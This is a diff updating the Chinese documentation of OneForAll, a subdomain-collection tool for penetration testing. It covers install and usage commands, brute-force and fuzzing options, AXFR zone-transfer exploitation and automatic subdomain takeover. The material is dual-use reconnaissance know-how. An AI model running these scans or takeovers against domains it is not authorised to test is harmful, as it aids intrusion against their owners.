[](https://travis-ci.org/shmilylty/OneForAll)
|
||||||
[](https://codecov.io/gh/shmilylty/OneForAll)
|
[](https://codecov.io/gh/shmilylty/OneForAll)
|
||||||
[](https://codeclimate.com/github/shmilylty/OneForAll/maintainability)
|
[](https://codeclimate.com/github/shmilylty/OneForAll/maintainability)
|
||||||
[](./LICENSE)
|
[](https://github.com/shmilylty/OneForAll/tree/master/LICENSE)
|
||||||
[](./)
|
[](https://github.com/shmilylty/OneForAll/tree/master/)
|
||||||
[](https://github.com/shmilylty/OneForAll/releases)
|
[](https://github.com/shmilylty/OneForAll/tree/master/releases)
|
||||||
|
|
||||||
👊**OneForAll是一款功能强大的子域收集工具** 📝[English Document](./README.en.md)
|
👊**OneForAll是一款功能强大的子域收集工具** 📝[English Document](https://github.com/shmilylty/OneForAll/tree/master/README.en.md)
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
## 🎉项目简介
|
## 🎉项目简介
|
||||||
|
|
||||||
|
项目主页:[https://shmilylty.github.io/OneForAll/](https://shmilylty.github.io/OneForAll/)
|
||||||
|
|
||||||
|
项目地址:[https://github.com/shmilylty/OneForAll](https://github.com/shmilylty/OneForAll)
|
||||||
|
|
||||||
在渗透测试中信息收集的重要性不言而喻,子域收集是信息收集中必不可少且非常重要的一环,目前网上也开源了许多子域收集的工具,但是总是存在以下部分问题:
|
在渗透测试中信息收集的重要性不言而喻,子域收集是信息收集中必不可少且非常重要的一环,目前网上也开源了许多子域收集的工具,但是总是存在以下部分问题:
|
||||||
|
|
||||||
* **不够强大**,子域收集的接口不够多,不能做到对批量子域自动收集,没有自动子域解析,验证,FUZZ以及信息拓展等功能。
|
* **不够强大**,子域收集的接口不够多,不能做到对批量子域自动收集,没有自动子域解析,验证,FUZZ以及信息拓展等功能。
|
||||||
@@ -28,42 +32,72 @@
|
|||||||
|
|
||||||
## 👍功能特性
|
## 👍功能特性
|
||||||
|
|
||||||
* **收集能力强大**,详细模块请阅读[收集模块说明](./docs/collection_modules.md)。
|
* **收集能力强大**,详细模块请阅读[收集模块说明](https://github.com/shmilylty/OneForAll/tree/master/docs/collection_modules.md)。
|
||||||
1. 利用证书透明度收集子域(目前有6个模块:`censys_api`,`certdb_api`,`certspotter`,`crtsh`,`entrust`,`google`)
|
1. 利用证书透明度收集子域(目前有6个模块:`censys_api`,`certdb_api`,`certspotter`,`crtsh`,`entrust`,`google`)
|
||||||
|
|
||||||
2. 常规检查收集子域(目前有4个模块:域传送漏洞利用`axfr`,检查跨域策略文件`cdx`,检查HTTPS证书`cert`,检查内容安全策略`csp`,检查robots文件`robots`,检查sitemap文件`sitemap`,后续会添加检查NSEC记录,NSEC3记录等模块)
|
2. 常规检查收集子域(目前有4个模块:域传送漏洞利用`axfr`,检查跨域策略文件`cdx`,检查HTTPS证书`cert`,检查内容安全策略`csp`,检查robots文件`robots`,检查sitemap文件`sitemap`,后续会添加检查NSEC记录,NSEC3记录等模块)
|
||||||
|
|
||||||
3. 利用网上爬虫档案收集子域(目前有2个模块:`archivecrawl`,`commoncrawl`,此模块还在调试,该模块还有待添加和完善)
|
3. 利用网上爬虫档案收集子域(目前有2个模块:`archivecrawl`,`commoncrawl`,此模块还在调试,该模块还有待添加和完善)
|
||||||
|
|
||||||
4. 利用DNS数据集收集子域(目前有16个模块:`binaryedge_api`, `circl_api`, `hackertarget`, `riddler`, `bufferover`, `dnsdb`, `ipv4info`, `robtex`, `chinaz`, `dnsdb_api`, `netcraft`, `securitytrails_api`, `chinaz_api`, `dnsdumpster`, `ptrarchive`, `sitedossier`)
|
4. 利用DNS数据集收集子域(目前有18个模块:`binaryedge_api`, `circl_api`, `hackertarget`, `riddler`, `bufferover`, `dnsdb`, `ipv4info`, `robtex`, `chinaz`, `dnsdb_api`, `netcraft`, `securitytrails_api`, `chinaz_api`, `dnsdumpster`, `passivedns_api`, `ptrarchive`, `sitedossier`,`threatcrowd`)
|
||||||
|
|
||||||
5. 利用DNS查询收集子域(目前有1个模块:通过枚举常见的SRV记录并做查询来收集子域`srv`,该模块还有待添加和完善)
|
5. 利用DNS查询收集子域(目前有1个模块:通过枚举常见的SRV记录并做查询来收集子域`srv`,该模块还有待添加和完善)
|
||||||
|
|
||||||
6. 利用威胁情报平台数据收集子域(目前有5个模块:`riskiq_api`,`threatbook_api`,`threatminer`,`virustotal`,`virustotal_api`该模块还有待添加和完善)
|
6. 利用威胁情报平台数据收集子域(目前有5个模块:`riskiq_api`,`threatbook_api`,`threatminer`,`virustotal`,`virustotal_api`该模块还有待添加和完善)
|
||||||
|
|
||||||
7. 利用搜索引擎发现子域(目前有15个模块:`ask`, `bing_api`, `fofa_api`, `shodan_api`, `yahoo`, `baidu`, `duckduckgo`, `google`, `so`, `yandex`, `bing`, `exalead`, `google_api`, `sogou`, `zoomeye_api`),在搜索模块中除特殊搜索引擎,通用的搜索引擎都支持自动排除搜索,全量搜索,递归搜索。
|
7. 利用搜索引擎发现子域(目前有16个模块:`ask`, `bing_api`, `fofa_api`, `shodan_api`, `yahoo`, `baidu`, `duckduckgo`, `github`, `google`, `so`, `yandex`, `bing`, `exalead`, `google_api`, `sogou`, `zoomeye_api`),在搜索模块中除特殊搜索引擎,通用的搜索引擎都支持自动排除搜索,全量搜索,递归搜索。
|
||||||
|
* **支持子域爆破**,该模块有常规的字典爆破,也有自定义的fuzz模式,支持批量爆破和递归爆破,自动判断泛解析并处理。
|
||||||
* **处理功能强大**,发现的子域结果支持自动去除,自动DNS解析,HTTP请求探测,自动移除无效子域,拓展子域的Banner信息,最终支持的导出格式有`csv`, `tsv`, `json`, `yaml`, `html`, `xls`, `xlsx`, `dbf`, `latex`, `ods`。
|
* **支持子域验证**,默认开启子域验证,自动解析子域DNS,自动请求子域获取title和banner,并综合判断子域存活情况。
|
||||||
|
* **支持子域接管**,默认开启子域接管风险检查,支持子域自动接管(目前只有Github,有待完善),支持批量检查。
|
||||||
* **速度极速**,[收集模块](./oneforall/collect.py)使用多线程调用,[爆破模块](./oneforall/aiobrute.py)使用异步多进程多协程,DNS解析和HTTP请求使用异步多协程。
|
* **处理功能强大**,发现的子域结果支持自动去除,自动DNS解析,HTTP请求探测,自动筛选出有效子域,拓展子域的Banner信息,最终支持的导出格式有`txt`, `rst`, `csv`, `tsv`, `json`, `yaml`, `html`, `xls`, `xlsx`, `dbf`, `latex`, `ods`。
|
||||||
|
* **速度极快**,[收集模块](https://github.com/shmilylty/OneForAll/tree/master/oneforall/collect.py)使用多线程调用,[爆破模块](https://github.com/shmilylty/OneForAll/tree/master/oneforall/aiobrute.py)使用异步多进程多协程,子域验证中DNS解析和HTTP请求使用异步多协程,多线程检查[子域接管](https://github.com/shmilylty/OneForAll/tree/master/oneforall/takeover.py)风险。
|
||||||
|
* **体验良好**,日志和终端输出全使用中文,各大模块都有进度条,异步保存各模块结果。
|
||||||
|
|
||||||
## 🚀上手指南
|
## 🚀上手指南
|
||||||
|
|
||||||
由于该项目**处于开发中**,会不断进行更新迭代,下载使用最好**克隆**最新项目。
|
📢由于该项目**处于开发中**,会不断进行更新迭代,下载使用最好**克隆**最新项目,请务必花一点时间阅读此文档,有助于你快速熟悉OneForAll!
|
||||||
|
|
||||||
**🐍安装要求**
|
**🐍安装要求**
|
||||||
|
|
||||||
1. Python 3.6-3.7
|
OneForAll是基于CPython开发的,所以你需要Python环境才能运行,如果你的系统还没有Python环境你可以参考[Python 3 安装指南](https://pythonguidecn.readthedocs.io/zh/latest/starting/installation.html#python-3),理论上Python 3.6,3.7和3.8都可以正常运行OneForAll,**但是**许多测试都是在Python 3.7上进行的,所以**推荐**你使用**Python 3.7**版本运行OneForAll。运行以下命令检查Python和pip3版本:
|
||||||
|
```bash
|
||||||
|
python -V
|
||||||
|
pip3 -V
|
||||||
|
```
|
||||||
|
如果你看到以下类似输出便说明Python环境没有问题:
|
||||||
|
```bash
|
||||||
|
Python 3.7.4
|
||||||
|
pip 19.2.2 from C:\Users\shmilylty\AppData\Roaming\Python\Python37\site-packages\pip (python 3.7)
|
||||||
|
```
|
||||||
|
|
||||||
**✔安装步骤**
|
**✔安装步骤**
|
||||||
|
|
||||||
1. 下载更新
|
1. **下载**
|
||||||
|
本项目已经在[码云](https://gitee.com/shmilylty/OneForAll.git)(Gitee)镜像了一份,国内推荐使用码云进行克隆比较快:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
git clone https://gitee.com/shmilylty/OneForAll.git
|
||||||
|
```
|
||||||
|
或者:
|
||||||
```bash
|
```bash
|
||||||
git clone https://github.com/shmilylty/OneForAll.git
|
git clone https://github.com/shmilylty/OneForAll.git
|
||||||
```
|
```
|
||||||
|
|
||||||
❗如果你之前已经克隆了项目运行之前请**备份**自己修改过的文件到项目外的地方(如**config.py**),然后执行以下命令**更新**项目:
|
2. **安装**
|
||||||
|
首先运行以下命令
|
||||||
|
你可以通过pip3安装OneForAll的依赖(如果你熟悉[pipenv](https://docs.pipenv.org/en/latest/),那么推荐你使用[pipenv安装依赖]((https://github.com/shmilylty/OneForAll/tree/master/docs/Installation_dependency.md))),以下为**Windows系统**下使用**pip3**安装依赖的示例:(注意:如果你的Python3安装在系统Program Files目录下,如:`C:\Program Files\Python37`,那么请以管理员身份运行命令提示符cmd执行以下命令!)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd OneForAll/
|
||||||
|
python -m pip install --user -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/
|
||||||
|
pip3 install --user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
|
||||||
|
cd oneforall/
|
||||||
|
python oneforall.py --help
|
||||||
|
```
|
||||||
|
其他系统平台的请参考[依赖安装](https://github.com/shmilylty/OneForAll/tree/master/docs/installation_dependency.md),如果在安装依赖过程中发现编译某个依赖库失败时可以参考[Q&A](https://github.com/shmilylty/OneForAll/tree/master/docs/Q&A.md)中解决方法,如果还没有解决欢迎加群反馈。
|
||||||
|
|
||||||
|
3. **更新**
|
||||||
|
❗注意:如果你之前已经克隆了项目运行之前请**备份**自己修改过的文件到项目外的地方(如**config.py**),然后执行以下命令**更新**项目:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
git fetch --all
|
git fetch --all
|
||||||
@@ -71,50 +105,36 @@
|
|||||||
git pull
|
git pull
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 安装依赖
|
|
||||||
|
|
||||||
* 使用pipenv
|
|
||||||
|
|
||||||
```bash
|
|
||||||
pip3 install pipenv
|
|
||||||
cd OneForAll/
|
|
||||||
pipenv install --python 3.7
|
|
||||||
cd oneforall
|
|
||||||
pipenv run python3 oneforall.py --help
|
|
||||||
```
|
|
||||||
|
|
||||||
* 使用pip3
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd OneForAll/
|
|
||||||
pip3 install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
|
|
||||||
cd oneforall/
|
|
||||||
python3 oneforall.py --help
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
如果在安装依赖过程中发现编译某个依赖库失败时可以参考[编译失败解决方法](./docs/building_fail_solution.md),如果还没有解决欢迎加群反馈。
|
|
||||||
|
|
||||||
**✨使用演示**
|
**✨使用演示**
|
||||||
|
|
||||||
```bash
|
1. 如果你是通过pip3安装的依赖则使用以下命令运行示例:
|
||||||
python3 oneforall.py --target example.com run
|
```bash
|
||||||
```
|
cd oneforall/
|
||||||
|
python3 oneforall.py --target example.com run
|
||||||
|
```
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
|
2. 如果你通过pipenv安装的依赖则使用以下命令运行示例:
|
||||||
|
```bash
|
||||||
|
cd oneforall/
|
||||||
|
pipenv run python oneforall.py --target example.com run
|
||||||
|
```
|
||||||
|
|
||||||
**🤔使用帮助**
|
**🤔使用帮助**
|
||||||
|
|
||||||
命令行参数只提供了一些常用参数,更多详细的参数配置请见[config.py](./oneforall/config.py),如果你认为有些参数是命令界面经常使用到的或缺少了什么参数等问题非常欢迎反馈。由于众所周知的原因,如果要使用一些被墙的收集接口请先到[config.py](./oneforall/config.py)配置代理,有些收集模块需要提供API(大多都是可以注册账号免费获取),如果需要使用请到[config.py](./oneforall/config.py)配置API信息,如果不使用请忽略有关报错提示。(详细模块请阅读[收集模块说明](./docs/collection_modules.md))
|
命令行参数只提供了一些常用参数,更多详细的参数配置请见[config.py](https://github.com/shmilylty/OneForAll/tree/master/oneforall/config.py),如果你认为有些参数是命令界面经常使用到的或缺少了什么参数等问题非常欢迎反馈。由于众所周知的原因,如果要使用一些被墙的收集接口请先到[config.py](https://github.com/shmilylty/OneForAll/tree/master/oneforall/config.py)配置代理,有些收集模块需要提供API(大多都是可以注册账号免费获取),如果需要使用请到[config.py](https://github.com/shmilylty/OneForAll/tree/master/oneforall/config.py)配置API信息,如果不使用请忽略有关报错提示。(详细模块请阅读[收集模块说明](https://github.com/shmilylty/OneForAll/tree/master/docs/collection_modules.md))
|
||||||
|
|
||||||
OneForAll命令行界面基于[Fire](https://github.com/google/python-fire/)实现,有关Fire更高级使用方法请参阅[使用Fire CLI](https://github.com/google/python-fire/blob/master/docs/using-cli.md),有任何使用疑惑欢迎加群交流。
|
OneForAll命令行界面基于[Fire](https://github.com/google/python-fire/)实现,有关Fire更高级使用方法请参阅[使用Fire CLI](https://github.com/google/python-fire/blob/master/docs/using-cli.md),有任何使用疑惑欢迎加群交流。
|
||||||
|
|
||||||
oneforall.py是主程序入口,oneforall.py里有调用aiobrute.py和dbexport.py,为了方便进行子域爆破和数据库导出独立出了aiobrute.py和dbexport.py,这两个文件可以单独运行,并且所接受参数要更丰富一点。
|
[oneforall.py](https://github.com/shmilylty/OneForAll/tree/master/oneforall/oneforall.py)是主程序入口,oneforall.py可以调用[aiobrute.py](https://github.com/shmilylty/OneForAll/tree/master/oneforall/aiobrute.py),[takerover.py](https://github.com/shmilylty/OneForAll/tree/master/oneforall/takerover.py)及[dbexport.py](https://github.com/shmilylty/OneForAll/tree/master/oneforall/dbexport.py)等模块,为了方便进行子域爆破独立出了aiobrute.py,为了方便进行子域接管风险检查独立出了takerover.py,为了方便数据库导出独立出了dbexport.py,这些模块都可以单独运行,并且所接受参数要更丰富一点。
|
||||||
|
|
||||||
1. oneforall.py使用帮助
|
❗注意:当你在使用过程中遇到一些问题或者疑惑时,请先到[Issues](https://github.com/shmilylty/OneForAll/tree/master/issues)里使用搜索找找答案,还可以参阅[常见问题与回答](https://github.com/shmilylty/OneForAll/tree/master/docs/Q&A.md)。
|
||||||
|
|
||||||
|
1. **oneforall.py使用帮助**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
pipenv run python oneforall.py --help
|
python oneforall.py --help
|
||||||
```
|
```
|
||||||
```bash
|
```bash
|
||||||
NAME
|
NAME
|
||||||
@@ -124,49 +144,58 @@ oneforall.py是主程序入口,oneforall.py里有调用aiobrute.py和dbexport.
|
|||||||
oneforall.py --target=TARGET <flags>
|
oneforall.py --target=TARGET <flags>
|
||||||
|
|
||||||
DESCRIPTION
|
DESCRIPTION
|
||||||
Version: 0.0.2
|
Version: 0.0.6
|
||||||
Project: https://github.com/shmilylty/OneForAll/
|
Project: https://git.io/fjHT1
|
||||||
|
|
||||||
Example:
|
Example:
|
||||||
python oneforall.py --target example.com run
|
python3 oneforall.py --target example.com run
|
||||||
python oneforall.py --target example.com --brute True --port medium --valid 1 run
|
python3 oneforall.py --target ./domains.txt run
|
||||||
python oneforall.py --target ./domains.txt --format csv --path= ./result.csv --output True run
|
python3 oneforall.py --target example.com --brute True run
|
||||||
|
python3 oneforall.py --target example.com --verify False run
|
||||||
|
python3 oneforall.py --target example.com --valid None run
|
||||||
|
python3 oneforall.py --target example.com --port medium run
|
||||||
|
python3 oneforall.py --target example.com --format csv run
|
||||||
|
python3 oneforall.py --target example.com --show True run
|
||||||
|
|
||||||
Note:
|
Note:
|
||||||
参数valid可选值有1,0,None,分别表示导出有效,无效,全部子域
|
参数valid可选值1,0,None分别表示导出有效,无效,全部子域
|
||||||
|
参数verify为True会尝试解析和请求子域并根据结果给子域有效性打上标签
|
||||||
参数port可选值有'small', 'medium', 'large', 'xlarge',详见config.py配置
|
参数port可选值有'small', 'medium', 'large', 'xlarge',详见config.py配置
|
||||||
参数format可选格式有'csv','tsv','json','yaml','html','xls','xlsx','dbf','latex','ods'
|
参数format可选格式有'txt', 'rst', 'csv', 'tsv', 'json', 'yaml', 'html',
|
||||||
|
'jira', 'xls', 'xlsx', 'dbf', 'latex', 'ods'
|
||||||
参数path为None会根据format参数和域名名称在项目结果目录生成相应文件
|
参数path为None会根据format参数和域名名称在项目结果目录生成相应文件
|
||||||
|
|
||||||
ARGUMENTS
|
ARGUMENTS
|
||||||
TARGET
|
TARGET
|
||||||
单个域名或者每行一个域名的文件路径
|
单个域名或者每行一个域名的文件路径(必需参数)
|
||||||
|
|
||||||
FLAGS
|
FLAGS
|
||||||
--brute=BRUTE
|
--brute=BRUTE
|
||||||
是否使用爆破模块(默认禁用)
|
使用爆破模块(默认False)
|
||||||
|
--verify=VERIFY
|
||||||
|
验证子域有效性(默认True)
|
||||||
--port=PORT
|
--port=PORT
|
||||||
HTTP请求验证的端口范围(默认medium)
|
请求验证的端口范围(默认medium)
|
||||||
--valid=VALID
|
--valid=VALID
|
||||||
导出子域的有效性(默认1)
|
导出子域的有效性(默认1)
|
||||||
--path=PATH
|
--path=PATH
|
||||||
导出路径(默认None)
|
导出路径(默认None)
|
||||||
--format=FORMAT
|
--format=FORMAT
|
||||||
导出格式(默认xlsx)
|
导出格式(默认xlsx)
|
||||||
--output=OUTPUT
|
--show=SHOW
|
||||||
是否将导出数据输出到终端(默认False)
|
终端显示导出数据(默认False)
|
||||||
```
|
```
|
||||||
|
|
||||||
2. aiobrute.py使用帮助
|
2. **aiobrute.py使用帮助**
|
||||||
|
|
||||||
关于泛解析问题处理程序首先会访问一个随机的子域判断是否泛解析,如果使用了泛解析则是通过以下判断处理:
|
关于泛解析问题处理程序首先会访问一个随机的子域判断是否泛解析,如果使用了泛解析则是通过以下判断处理:
|
||||||
- 一是主要是与泛解析的IP集合和TTL值做对比,可以参考[这篇文章](http://sh3ll.me/archives/201704041222.txt)。
|
- 一是主要是与泛解析的IP集合和TTL值做对比,可以参考[这篇文章](http://sh3ll.me/archives/201704041222.txt)。
|
||||||
- 二是多次解析到同一IP集合次数(默认设置为10,可以在config.py设置大小)
|
- 二是多次解析到同一IP集合次数(默认设置为10,可以在config.py设置大小)。
|
||||||
- 考虑爆破效率问题目前还没有加上HTTP响应体相似度对比和响应体内容判断
|
- 三是考虑爆破效率问题目前还没有加上HTTP响应体相似度对比和响应体内容判断,如果有必要后续添加。
|
||||||
经过测试在16核心的CPU,使用16进程64协程,100M带宽的环境下,设置任务分割为50000,跑两百万字典大概10分钟左右跑完,大概3333个子域每秒。
|
经过不严谨测试在16核心的CPU,使用16进程64协程,100M带宽的环境下,设置任务分割为50000,跑两百万字典大概10分钟左右跑完,大概3333个子域每秒。
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
pipenv run python aiobrute.py --help
|
python aiobrute.py --help
|
||||||
```
|
```
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
@@ -174,30 +203,35 @@ oneforall.py是主程序入口,oneforall.py里有调用aiobrute.py和dbexport.
|
|||||||
aiobrute.py - OneForAll多进程多协程异步子域爆破模块
|
aiobrute.py - OneForAll多进程多协程异步子域爆破模块
|
||||||
|
|
||||||
SYNOPSIS
|
SYNOPSIS
|
||||||
aiobrute.py COMMAND | --target=TARGET <flags>
|
aiobrute.py --target=TARGET <flags>
|
||||||
|
|
||||||
DESCRIPTION
|
DESCRIPTION
|
||||||
Example:
|
Example:
|
||||||
python aiobrute.py --target example.com run
|
python3 aiobrute.py --target example.com run
|
||||||
python aiobrute.py --target ./domains.txt run
|
python3 aiobrute.py --target ./domains.txt run
|
||||||
python aiobrute.py --target example.com --processes 4 --coroutine 64 --wordlist data/subdomains.txt run
|
python3 aiobrute.py --target example.com --process 4 --coroutine 64 run
|
||||||
python aiobrute.py --target example.com --recursive True --depth 2 --namelist data/next_subdomains.txt run
|
python3 aiobrute.py --target example.com --wordlist subdomains.txt run
|
||||||
python aiobrute.py --target www.{fuzz}.example.com --fuzz True --rule [a-z][0-9] run
|
python3 aiobrute.py --target example.com --recursive True --depth 2 run
|
||||||
|
python3 aiobrute.py --target m.{fuzz}.a.bz --fuzz True --rule [a-z] run
|
||||||
|
|
||||||
Note:
|
Note:
|
||||||
参数segment的设置受CPU性能,网络带宽,运营商限制等问题影响,默认设置500个子域为一任务组,
|
参数segment的设置受CPU性能,网络带宽,运营商限制等问题影响,默认设置500个子域为任务组,
|
||||||
当你觉得你的环境不受以上因素影响,当前爆破速度较慢,那么强烈建议根据字典大小调整大小:
|
当你觉得你的环境不受以上因素影响,当前爆破速度较慢,那么强烈建议根据字典大小调整大小:
|
||||||
十万字典建议设置为5000,百万字典设置为50000
|
十万字典建议设置为5000,百万字典设置为50000
|
||||||
|
参数valid可选值1,0,None,分别表示导出有效,无效,全部子域
|
||||||
|
参数format可选格式有'txt', 'rst', 'csv', 'tsv', 'json', 'yaml', 'html',
|
||||||
|
'jira', 'xls', 'xlsx', 'dbf', 'latex', 'ods'
|
||||||
|
参数path为None会根据format参数和域名名称在项目结果目录生成相应文件
|
||||||
|
|
||||||
ARGUMENTS
|
ARGUMENTS
|
||||||
TARGET
|
TARGET
|
||||||
单个域名或者每行一个域名的文件路径
|
单个域名或者每行一个域名的文件路径
|
||||||
|
|
||||||
FLAGS
|
FLAGS
|
||||||
--processes=PROCESSES
|
--process=PROCESS
|
||||||
爆破的进程数(默认CPU核心数)
|
爆破的进程数(默认CPU核心数)
|
||||||
--coroutine=COROUTINE
|
--coroutine=COROUTINE
|
||||||
每个爆破进程下的协程数(默认16)
|
每个爆破进程下的协程数(默认64)
|
||||||
--wordlist=WORDLIST
|
--wordlist=WORDLIST
|
||||||
指定爆破所使用的字典路径(默认使用config.py配置)
|
指定爆破所使用的字典路径(默认使用config.py配置)
|
||||||
--segment=SEGMENT
|
--segment=SEGMENT
|
||||||
@@ -209,55 +243,23 @@ oneforall.py是主程序入口,oneforall.py里有调用aiobrute.py和dbexport.
|
|||||||
--namelist=NAMELIST
|
--namelist=NAMELIST
|
||||||
指定递归爆破所使用的字典路径(默认使用config.py配置)
|
指定递归爆破所使用的字典路径(默认使用config.py配置)
|
||||||
--fuzz=FUZZ
|
--fuzz=FUZZ
|
||||||
是否使用fuzz模式进行爆破(默认False,开启必须指定fuzz正则规则)
|
是否使用fuzz模式进行爆破(默认False,开启须指定fuzz正则规则)
|
||||||
--rule=RULE
|
--rule=RULE
|
||||||
fuzz模式使用的正则规则(默认使用config.py配置)
|
fuzz模式使用的正则规则(默认使用config.py配置)
|
||||||
|
--export=EXPORT
|
||||||
```
|
是否导出爆破结果(默认True)
|
||||||
|
|
||||||
3. dbexport.py使用帮助
|
|
||||||
|
|
||||||
```bash
|
|
||||||
pipenv run python dbexport.py --help
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
NAME
|
|
||||||
dbexport.py - OneForAll数据库导出模块
|
|
||||||
|
|
||||||
SYNOPSIS
|
|
||||||
dbexport.py TABLE <flags>
|
|
||||||
|
|
||||||
DESCRIPTION
|
|
||||||
Example:
|
|
||||||
python dbexport.py --db result.db --table name --format csv --output False
|
|
||||||
python dbexport.py --db result.db --table name --format csv --path= ./result.csv
|
|
||||||
|
|
||||||
Note:
|
|
||||||
参数valid可选值1,0,None,分别表示导出有效,无效,全部子域
|
|
||||||
参数format可选格式:'csv', 'tsv', 'json', 'yaml', 'html', 'xls', 'xlsx', 'dbf', 'latex', 'ods'
|
|
||||||
参数path为None会根据format参数和域名名称在项目结果目录生成相应文件
|
|
||||||
|
|
||||||
POSITIONAL ARGUMENTS
|
|
||||||
TABLE
|
|
||||||
要导出的表
|
|
||||||
|
|
||||||
FLAGS
|
|
||||||
--db=DB
|
|
||||||
要导出的数据库路径(默认为results/result.sqlite3)
|
|
||||||
--valid=VALID
|
--valid=VALID
|
||||||
导出子域的有效性(默认None)
|
导出子域的有效性(默认None)
|
||||||
--path=PATH
|
|
||||||
导出路径(默认None)
|
|
||||||
--format=FORMAT
|
--format=FORMAT
|
||||||
导出格式(默认xlsx)
|
导出格式(默认xlsx)
|
||||||
--output=OUTPUT
|
--path=PATH
|
||||||
是否将导出数据输出到终端(默认False)
|
导出路径(默认None)
|
||||||
|
--show=SHOW
|
||||||
NOTES
|
终端显示导出数据(默认False)
|
||||||
You can also use flags syntax for POSITIONAL ARGUMENTS
|
|
||||||
```
|
```
|
||||||
|
|
||||||
|
3. 其他模块使用请参考[使用帮助](https://github.com/shmilylty/OneForAll/tree/master/docs/using_help.md)
|
||||||
|
|
||||||
## 👏主要框架
|
## 👏主要框架
|
||||||
|
|
||||||
* [aiodns](https://github.com/saghul/aiodns) - 简单DNS异步解析库。
|
* [aiodns](https://github.com/saghul/aiodns) - 简单DNS异步解析库。
|
||||||
@@ -314,18 +316,18 @@ D:.
|
|||||||
|
|
||||||
## ⌛后续计划
|
## ⌛后续计划
|
||||||
|
|
||||||
- [ ] 子域收集模块优化
|
- [ ] 各模块支持优化和完善
|
||||||
- [ ] 子域接管功能实现
|
- [ ] 子域监控(标记每次新发现的子域)
|
||||||
- [ ] 子域收集爬虫实现
|
- [ ] 子域收集爬虫实现(包括从JS等静态资源文件中收集子域)
|
||||||
- [ ] 操作强大交互人性的前端界面实现
|
- [ ] 操作强大交互人性的前端界面实现(暂定:前端:Element + 后端:Flask)
|
||||||
|
|
||||||
更多详细信息请阅读[TODO.md](./TODO.md)。
|
更多详细信息请阅读[TODO.md](https://github.com/shmilylty/OneForAll/tree/master/TODO.md)。
|
||||||
|
|
||||||
## 🔖版本控制
|
## 🔖版本控制
|
||||||
|
|
||||||
该项目使用[SemVer](https://semver.org/)语言化版本格式进行版本管理,你可以在[Releases](https://github.com/shmilylty/OneForAll/releases)查看可用版本。
|
该项目使用[SemVer](https://semver.org/)语言化版本格式进行版本管理,你可以在[Releases](https://github.com/shmilylty/OneForAll/releases)查看可用版本。
|
||||||
|
|
||||||
## 👨💻作者
|
## 👨💻作者及贡献者
|
||||||
|
|
||||||
* **[Jing Ling](https://github.com/shmilylty)**
|
* **[Jing Ling](https://github.com/shmilylty)**
|
||||||
* 核心开发
|
* 核心开发
|
||||||
@@ -333,14 +335,20 @@ D:.
|
|||||||
* **[Black Star](https://github.com/blackstar24)**
|
* **[Black Star](https://github.com/blackstar24)**
|
||||||
* 模块贡献
|
* 模块贡献
|
||||||
|
|
||||||
* [**iceMatcha**](https://github.com/iceMatcha)
|
* **[Echocipher](https://github.com/Echocipher)**
|
||||||
* bug调试
|
* 模块贡献
|
||||||
|
|
||||||
*你也可以在[CONTRIBUTORS.md](./CONTRIBUTORS.md)中参看所有参与该项目的开发者。*
|
* **[iceMatcha](https://github.com/iceMatcha)**
|
||||||
|
* 工具测试
|
||||||
|
|
||||||
|
* **Anyone**
|
||||||
|
* 工具反馈
|
||||||
|
|
||||||
|
*你也可以在[CONTRIBUTORS.md](https://github.com/shmilylty/OneForAll/tree/master/CONTRIBUTORS.md)中参看所有参与该项目的开发者。*
|
||||||
|
|
||||||
## 📄版权
|
## 📄版权
|
||||||
|
|
||||||
该项目签署了GPL-3.0授权许可,详情请参阅[LICENSE.md](./LICENSE.md)。
|
该项目签署了GPL-3.0授权许可,详情请参阅[LICENSE.md](https://github.com/shmilylty/OneForAll/tree/master/LICENSE.md)。
|
||||||
|
|
||||||
## 😘鸣谢
|
## 😘鸣谢
|
||||||
|
|
||||||
@@ -350,4 +358,7 @@ D:.
|
|||||||
|
|
||||||
## 📜免责声明 ##
|
## 📜免责声明 ##
|
||||||
|
|
||||||
本工具仅限于安全研究与教学使用,用户使用本工具所造成的所有后果,由用户承担全部法律及连带责任,本项目所有作者和贡献者不承担任何法律及连带责任。
|
本工具仅限于合法授权的企业安全建设,在使用本工具过程中,您应确保自己所有行为符合当地的法律法规,并且已经取得了足够的授权。
|
||||||
|
如您在使用本工具的过程中存在任何非法行为,您需自行承担所有后果,本工具所有作者和所有贡献者不承担任何法律及连带责任。
|
||||||
|
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。
|
||||||
|
您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
|
||||||
@@ -2,8 +2,8 @@
|
|||||||
|
|
||||||
## 下一步计划
|
## 下一步计划
|
||||||
|
|
||||||
- [ ] 子域收集模块优化
|
- [ ] 各模块支持优化和完善
|
||||||
- [ ] 子域接管功能实现
|
- [ ] 子域监控(标记每次新发现的子域)
|
||||||
- [ ] 子域收集爬虫实现
|
- [ ] 子域收集爬虫实现(包括从JS等静态资源文件中收集子域)
|
||||||
- [ ] 操作强大交互人性的前端界面实现
|
- [ ] 操作强大交互人性的前端界面实现(暂定:Element+Flask)
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1 @@
|
|||||||
|
theme: jekyll-theme-architect
|
||||||
+31
@@ -0,0 +1,31 @@
|
|||||||
|
# 常见问题与回答
|
||||||
|
|
||||||
|
## 依赖问题
|
||||||
|
|
||||||
|
**Q: 在安装依赖过程遇到编译某个依赖库失败,怎么解决?**
|
||||||
|
|
||||||
|
A: 可以尝试以下方法:
|
||||||
|
|
||||||
|
1. 到提供编译好的whl文件的第三方平台,找到对应库手动下载安装。第三方平台平台有:
|
||||||
|
* [https://www.lfd.uci.edu/~gohlke/pythonlibs](https://www.lfd.uci.edu/~gohlke/pythonlibs)
|
||||||
|
* [https://pythonwheels.com/](https://pythonwheels.com/)
|
||||||
|
|
||||||
|
